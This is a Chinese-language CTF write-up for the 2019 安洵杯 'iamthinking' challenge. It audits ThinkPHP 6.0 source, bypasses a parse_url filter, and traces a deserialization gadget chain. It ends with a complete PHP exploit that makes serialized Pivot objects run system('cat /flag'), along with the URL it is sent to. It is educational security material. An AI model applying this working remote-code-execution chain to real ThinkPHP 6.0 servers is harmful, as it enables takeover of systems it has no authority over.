[安洵杯 2019]iamthinking

/www.zip下载源码审计

通过README可以看到是ThinkPHP6.0。

当前只能访问到/public/index.php,

关于这个框架的index.php 【thinkphp6源码分析一 】 最开始的地方 index.php - 转瞬千年 - 博客园

全局搜索一下unserialize,发现在app/controller/Index.php下存在着反序列化的地方。

存在过滤,通过parse_url的缺陷绕过: parse_url小结 - tr1ple - 博客园

  • 在解析形如http://xxx.com///index.php?payload=cmd这样的URI时parse_url会返回false来bypass,参数中包含的payload依然存在
  • compress.zlib://data:@127.0.0.1/plain;base64,可以直接传入数据

同时payload参数可控,通过GET方式就能传递到。

接下来要找反序列的点,参考:[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞 - op_hxc - 博客园 mysql 反序列化_从一道CTF题目中学习ThinkPHP反序列化_weixin_39710361的博客-CSDN博客 两篇博文进行审计

当然已经有大佬写了现成的工具https://github.com/wh1t3p1g/phpggc

不过还是希望能自己掌握框架代码审计这些代码量巨大的项目

全局搜索__destruct(),依次查看,Mongo处无法利用free,close都无法利用,只是释放参数,connection处同理。

看向Model.php,跟进save函数

不能让这返回false,即需要满足$this->isEmpty()不成立,$this->trigger('BeforeWrite')为TRUE。看到isEmpty函数

this->data不为空即可,跟进tigger:

让$this->withEvent为flase即可。

回到save函数,跟进upadteData方法。

protected function updateData(): bool

    {

        // 事件回调

        if (false === $this->trigger('BeforeUpdate')) {

            return false;

        }

        $this->checkData();

        // 获取有更新的数据

        $data = $this->getChangedData();

        if (empty($data)) {

            // 关联更新

            if (!empty($this->relationWrite)) {

                $this->autoRelationUpdate();

            }

            return true;

        }

        if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {

            // 自动写入更新时间

            $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);

            $this->data[$this->updateTime] = $data[$this->updateTime];

        }

        // 检查允许字段

        $allowFields = $this->checkAllowFields();

        foreach ($this->relationWrite as $name => $val) {

            if (!is_array($val)) {

                continue;

            }

            foreach ($val as $key) {

                if (isset($data[$key])) {

                    unset($data[$key]);

                }

            }

        }

        // 模型更新

        $db = $this->db();

        $db->startTrans();

        try {

            $where  = $this->getWhere();

            $result = $db->where($where)

                ->strict(false)

                ->field($allowFields)

                ->update($data);

            $this->checkResult($result);

            // 关联更新

            if (!empty($this->relationWrite)) {

                $this->autoRelationUpdate();

            }

            $db->commit();

            // 更新回调

            $this->trigger('AfterUpdate');

            return true;

        } catch (\Exception $e) {

            $db->rollback();

            throw $e;

        }

    }

跟进这个checkAllowFields()

发现字符拼接,可被利用触发__toString。

进入到这一步的条件就是: $this->field为空,且$this->schema也为空。
即: $this->field = []; $this->schema = [];

同时这里还有一个判断,即$this->table,当为true是才能执行字符串的拼接。

所以为了能让这个方法被调用到,我们要让exists存在.

即 $this->exists =True

全局搜索toString魔术方法,在Conversion.php当中。

继续查看tojson这个函数:

跟进到toArray方法。

   public function toArray(): array

    {

        $item       = [];

        $hasVisible = false;

        foreach ($this->visible as $key => $val) {

            if (is_string($val)) {

                if (strpos($val, '.')) {

                    list($relation, $name)      = explode('.', $val);

                    $this->visible[$relation][] = $name;

                } else {

                    $this->visible[$val] = true;

                    $hasVisible          = true;

                }

                unset($this->visible[$key]);

            }

        }

        foreach ($this->hidden as $key => $val) {

            if (is_string($val)) {

                if (strpos($val, '.')) {

                    list($relation, $name)     = explode('.', $val);

                    $this->hidden[$relation][] = $name;

                } else {

                    $this->hidden[$val] = true;

                }

                unset($this->hidden[$key]);

            }

        }

        // 合并关联数据

        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {

            if ($val instanceof Model || $val instanceof ModelCollection) {

                // 关联模型对象

                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {

                    $val->visible($this->visible[$key]);

                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {

                    $val->hidden($this->hidden[$key]);

                }

                // 关联模型对象

                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {

                    $item[$key] = $val->toArray();

                }

            } elseif (isset($this->visible[$key])) {

                $item[$key] = $this->getAttr($key);

            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {

                $item[$key] = $this->getAttr($key);

            }

        }

        // 追加属性(必须定义获取器)

        foreach ($this->append as $key => $name) {

            $this->appendAttrToArray($item, $key, $name);

        }

        return $item;

    }

再看到getAttr方法:

跟进getData方法:

进入到getRealFieldName方法:

如果$this->strict为True,返回$name。

此时再getData方法中:

$this->data[$fielName] = $this->data[$key]

此时再getAttr中就是: $this->getValue($key, $value, null);

跟进getvalue:

protected function getValue(string $name, $value, $relation = false)

    {

        // 检测属性获取器

        $fieldName = $this->getRealFieldName($name);

        $method    = 'get' . Str::studly($name) . 'Attr';

        if (isset($this->withAttr[$fieldName])) {

            if ($relation) {

                $value = $this->getRelationValue($relation);

            }

            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {

                $value = $this->getJsonValue($fieldName, $value);

            } else {

                //$fieldName = a

                //withAttr[a] = system

                $closure = $this->withAttr[$fieldName];

                //value = system(ls,)

                $value   = $closure($value, $this->data);

            }

        } elseif (method_exists($this, $method)) {

            if ($relation) {

                $value = $this->getRelationValue($relation);

            }

            $value = $this->$method($value, $this->data);

        } elseif (isset($this->type[$fieldName])) {

            // 类型转换

            $value = $this->readTransform($value, $this->type[$fieldName]);

        } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {

            $value = $this->getTimestampValue($value);

        } elseif ($relation) {

            $value = $this->getRelationValue($relation);

            // 保存关联对象值

            $this->relation[$name] = $value;

        }

        return $value;

    }

is_array($this->withAttr[$fieldName])只要这里不成立就会触发到最后命令执行的点,即$this->withAttr[$fieldName]不为数组即可

最终是执行了system("ls", ["xxx"=>"ls"]),而system函数第二个参数是可选的,也就是这种用法是合法的

最终利用链:

think\Model --> __destruct()

think\Model --> save()

think\Model --> updateData()

think\Model --> checkAllowFields()

think\Model --> db()

后半部分利用链(同tp 5.2后半部分利用链)

think\model\concern\Conversion --> __toString()

think\model\concern\Conversion --> __toJson()

think\model\concern\Conversion --> __toArray()

think\model\concern\Attribute --> getAttr()

think\model\concern\Attribute --> getValue()

Exp:

<?php

namespace think\model\concern {

    trait Conversion

    {   

    }

    trait Attribute

    {

        private $data;

        private $withAttr = ["xxx" => "system"];

        public function get()

        {

            $this->data = ["xxx" => "cat /flag"];

        }

    }

}

namespace think{

    abstract class Model{

    use model\concern\Attribute;

    use model\concern\Conversion;

    private $lazySave;

    protected $withEvent;

    private $exists;

    private $force;

    protected $field;

    protected $schema;

    protected $table;

    function __construct(){

        $this->lazySave = true;

        $this->withEvent = false;

        $this->exists = true;

        $this->force = true;

        $this->field = [];

        $this->schema = [];

        $this->table = true;

    }

}

}

namespace think\model{

use think\Model;

class Pivot extends Model

{

    function __construct($obj='')

    {

        //定义this->data不为空

        parent::__construct();

        $this->get();

        $this->table = $obj;

    }

}

$a = new Pivot();

$b = new Pivot($a);

echo urlencode(serialize($b));

}

http://9dda91b3-c6bf-4eb1-94f5-64d7f3359e5f.node4.buuoj.cn:81///public/?payload=

提交即可

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值